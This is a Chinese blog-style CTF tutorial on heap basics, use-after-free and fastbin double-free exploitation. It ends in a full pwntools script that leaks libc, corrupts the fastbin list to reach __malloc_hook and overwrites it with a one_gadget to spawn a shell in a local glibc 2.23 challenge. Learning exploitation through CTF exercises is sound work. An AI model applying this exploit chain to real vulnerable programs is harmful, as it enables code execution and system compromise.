关于堆的基本概念和uaf漏洞

本文详细讲解了堆的基本概念,包括内存分配与管理机制,malloc和free函数的作用,以及UseAfterFree漏洞的原理和doublefree利用方法,通过实例演示如何利用内存管理漏洞达到控制内存的目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

堆的基本概念

在程序运行过程中,堆可以提供动态分配的内存,允许程序申请大小未知的内存。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。我们一般称管理堆的那部分程序为堆管理器,不过这里要说明堆是虚拟的储存地址空间。

1.用户请求发送到操作系统,调用分配器分配内存,还回给用户

2.管理用户的内存数据,释放堆内内存数据,但释放的内存不会还给操作系统,而是交由堆分配器进行分配,保证用户再次申请时有足够的堆空间进行分配。

重要函数

malloc:malloc时动态内存分配函数,用于申请一块连续的指定大小的内存块区域以void*类型返回分配的内存区域地址malloc函数的返回的是无类型指针,在使用时一定要强制转换为所需要的类型,在使用malloc开辟空间时,使用完成一定要释放空间,如果不释放会造内存泄漏关于malloc所开辟空间类型:malloc只开辟空间,不进行类型检查,只是在使用的时候进行类型的强转。正因为不管怎么用才有我们利用它控制程序。

uaf漏洞

use after free,其内容如同其名称。在free后进行利用。UAF是堆结构漏洞的一种重要的利用方式。

1.内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
2.内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对 这块内存块进行修改,那么程序很有可能可以正常运转。
3.内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块     内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

在计算机编程领域中,迷途指针,或称悬空指针、野指针,指的是不指向任何合法的对象的指针。当所指向的对象被释放或者收回,但是对该指针没有作任何的修改,以至于该指针仍旧指向已经回收的内存地址,此情况下该指针便称迷途指针。若操作系统将这部分已经释放的内存重新分配给另外一个进程,而原来的程序重新引用现在的迷途指针,则将产生无法预料的后果。因为此时迷途指针所指向的内存现在包含的已经完全是不同的数据。通常来说,若原来的程序继续往迷途指针所指向的内存地址写入数据,这些和原来程序不相关的数据将被损坏,进而导致不可预料的程序错误。这种类型的程序错误,不容易找到问题的原因,通常会导致存储器区块错误(Linux系统中)和一般保护错误(Windows系统中)。如果操作系统的内存分配器将已经被覆盖的数据区域再分配,就可能会影响系统的稳定性。

例题:test2

运行

饿哦们运行可以发现是一道菜单题,可以说是五脏俱全。

审计代码:发现后门及uaf漏洞:没有被设置为 NULL

很明显未设置为null

看到这个题我最开始像泄露他的对地址,正因为有uaf我们才可以打印出对地址,因此有这个思路。但是打印后才发现堆地址好像没啥用,我需要的好像是libc地址qwq~鸡鸡(后面会写打印对地址的过程),审计程序开始写。

我们先写个申请堆块的框架,避免每次申请堆块都写大量的代码,这对审计自己的代码十分不友好,毕竟博主是小菜鸡,看着满屏代码头都晕了qwq。(show是打印堆块)

def add(size,content):#size是申请堆块的大小,content是内容
        rl("Your choice :")#后面是根据程序编写的并不固定
        sl(str(1))
        rl("Note size :")
        sl(str(size))
        rl("Content :")
        s(content)
        
def free(i):          #释放堆块框架
        rl("Your choice :")
        sl(str(2))
        rl("Index :")
        sl(str(i))
        
def show(i):     #查看堆块
        rl("Your choice :")
        sl(str(3))
        rl("Index :") #输入堆块下标,第几个堆块
        sl(str(i))
    

def 函数:在一些程序中,我们在很多地方都会用到重复的一部分代码,很麻烦,使用def函数后一切就变得简单了如下:(博主理解的就是把他当作快捷方式)

def会定义函数块,定义后可以直接使用。

我们现申请4个堆块尝试一下,我们并不知道需要申请几个堆块,大家可以多申请来试试。

add(0x67,b'a')#堆块0
add(0x67,b'a')#堆块1
add(0x67,b'a')#堆块2
add(0x80,b'a')#堆块3

关于size问题:大家可能有疑问为什么size是0x67,其实是因为我们要把堆块释放到fastbin

fastbin会检测堆块大小是否在0x20~0x80,就是在这个范围内都可以但不要太小藕(毕竟要存东西的,太小可不好),如果不是就到sortbin中了,关于sortbin博主还没学到,嘿嘿~。

在右下角可以看到4个堆块,可能有小伙伴疑问top chunk,它也是堆块不过不是我们申请的,我们申请的最后一个堆块会与它重合,我们都知道冲太多不是什么好事...,因此再决定使用堆块的数量时要多一个,让多余的去和top chunk冲。

接下来我们申请5个堆块,释放后并打印他们的地址(栈libc地址)

add(0x67,b'a')#堆块0
add(0x67,b'a')#堆块1
add(0x67,b'a')#堆块2
add(0x80,b'a')#堆块3 改成0x20~0x70就可已打印堆地址
add(0x67,b'a')#4
bug()
free(3) #释放堆块3
show(3) #打印堆块3

我们可以看到堆块3打印情况:

 小伙伴可能疑惑打印出的到底是什么,不要急哦。

这里我们看看堆块3里有什么:x/32gx 加堆地址

第二行是不是和我们打印出的一样,qwq,懂了吧。

注意:打印时从content位打印就是第二行 ,解释下原因

 打印的是堆块3的fd指针指的内容,因为3已经被释放掉了,打印的是堆块2的地址,因为3的fd指向2的,懂了吧,牢底。不懂qwq。

下面是重点

double free利用

原理:简单的说,double free 是任意地址写的一种技巧,指堆上的某块内存被释放后,并没有将指向该堆块的指针清零,那么,我们就可以利用程序的其他部分对该内存进行再次的free,有什么用呢?利用这个漏洞,我们可以达成任意地址写的目的。

这里介绍malloc:

malloc_chunk 的源码如下:

struct malloc_chunk {
INTERNAL_SIZE_T prev_size;  /*前一个chunk的大小*/
INTERNAL_SIZE_T size;       /*当前chunk的大小*/
struct malloc_chunk * fd;   /*指向前一个释放的chunk*/
struct malloc_chunk * bk;   /*指向后一个释放的chunk*/
}

利用思路:

fastbin 是 LIFO 的数据结构,使用单向链表实现。根据fastbin 的特性,释放的chunk 会以单向链表的形式回收到fastbin 里面,我们先free同一块chunk 两次,然后malloc 大小一样对的chunk,此时这个内存块还是在fastbin上面的,这时我们就可以肆意修改fd指针了,让它指向我们想指向的地方,然后再进行2次malloc大小一样的堆块,我们可以分配到fd所指的的内存区域块,即我们想要控制的内存块。

libc基址+onegadget+malloc_hook

求出偏移:3951480

可以看到泄露出的libc地址:0x7fde4d4cfb78 (main_arena+88)

然后我们利用vmmap查看栈内内容

我们可以看到最后一行的libc基址:0x7fde4d10b000  

这里我们求出libc基址,malloc_hook地址,找到onegadget

 onegadget:one_gadget  加libc(使用的)

这里我们用的第二个,会不会有人疑惑为什么用第二个qwq,因为博主用了第一个打不通qwq欸嘿嘿,家人们不妨多试试。

libc_base=get_addr()-3951480
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
print(malloc_hook)
one_gadget=libc_base+0xf1247#onegadget有时并不适用,可以多还几个实施

这时就可以通过连续申请两次同一堆块,修改第一个堆块的fd指针指向malloc函数,这里要注意malloc的size因为后面要写入onegadget且在fdbin中必须满足size(0x20-0x80),然后申请另一个堆块(因为机制不允许fd指向自己),再次申请第一个堆块,这时由于fd指针的指向,malloc会被当作一个堆块被申请出来,我们可以在malloc写入onegadget,b堆块内第一行是pr和size,不能进行写入修改,因此要注意写入gadget的位置,多的话要进行填充

free(0)
free(1)
free(0)

add(0x67,p64(malloc_hook-0x23))
add(0x67,b'a')
add(0x67,b'a')
add(0x67,b'a'*0x13+p64(one_gadget))

这里小伙伴们可能疑惑:p64(malloc_hook-0x23)  和 b'a'*0x13+p64(one_gadget)

这里非常重要解释原因:

不冲发现抱错了,有经验就可以判断出是堆块size不足

右上面就是size:0x0000000000000000,那么我们怎么办呢?就想办法把size变大点,看看地址上0x30神马情况。

x/32gx 0x7f0c29b06b10-0x30

非常好有0x7f,正好我们可以把size改为0x7f,为啥-0x23,因为博主式的qwq。

变成0x7f了

0x13是为了填充malloc+0x23到malloc的空白空间,因为size和prsize不能写入所以占10个字节。

上面就是我们double free的利用,后面我们进行数据填充。

后面我们再申请堆0,执行malloc_hook中的onegadget就可以了

onegadget中的内容就不用博主多说了吧。

回到本题上代码:

from pwn import *
from struct import pack
from ctypes import *
import base64
import gmpy2
def s(a):
    p.send(a)
def sla(a,b):
    p.sendlineafter(a,b)
def sl(a):
    p.sendline(a)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'],libc_base + next(libc.search(b'/bin/sh\x00'))
    
context(os='linux',arch='amd64',log_level='debug')
p= process('./test2')
elf=ELF('./test2')

libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")




def add(size,content):
        rl("Your choice :")
        sl(str(1))
        rl("Note size :")
        sl(str(size))
        rl("Content :")
        s(content)
        
def free(i):
        rl("Your choice :")
        sl(str(2))
        rl("Index :")
        sl(str(i))
        
def show(i):
        rl("Your choice :")
        sl(str(3))
        rl("Index :")
        sl(str(i))
    
add(0x67,b'a')#堆块0
add(0x67,b'a')#堆块1
add(0x67,b'a')#堆块2
add(0x80,b'a')#堆块3
add(0x67,b'a')#4


free(3)
bug()
show(3)

#0xf03a4 
#0x7fc60f219b78
#245806259064
#0x7f6dd67a8000

libc_base=get_addr()-3951480
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
print(malloc_hook)
one_gadget=libc_base+0xf1247#onegadget有时并不适用,可以多还几个实施


free(0)
free(1)
free(0)

add(0x67,p64(malloc_hook-0x23))
add(0x67,b'a')
add(0x67,b'a')
add(0x67,b'a'*0x13+p64(one_gadget))
bug()
rl("Your choice :")
sl(str(1))
rl("Note size :")
sl(str(10))

       
p.interactive()

成功在本地打通

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值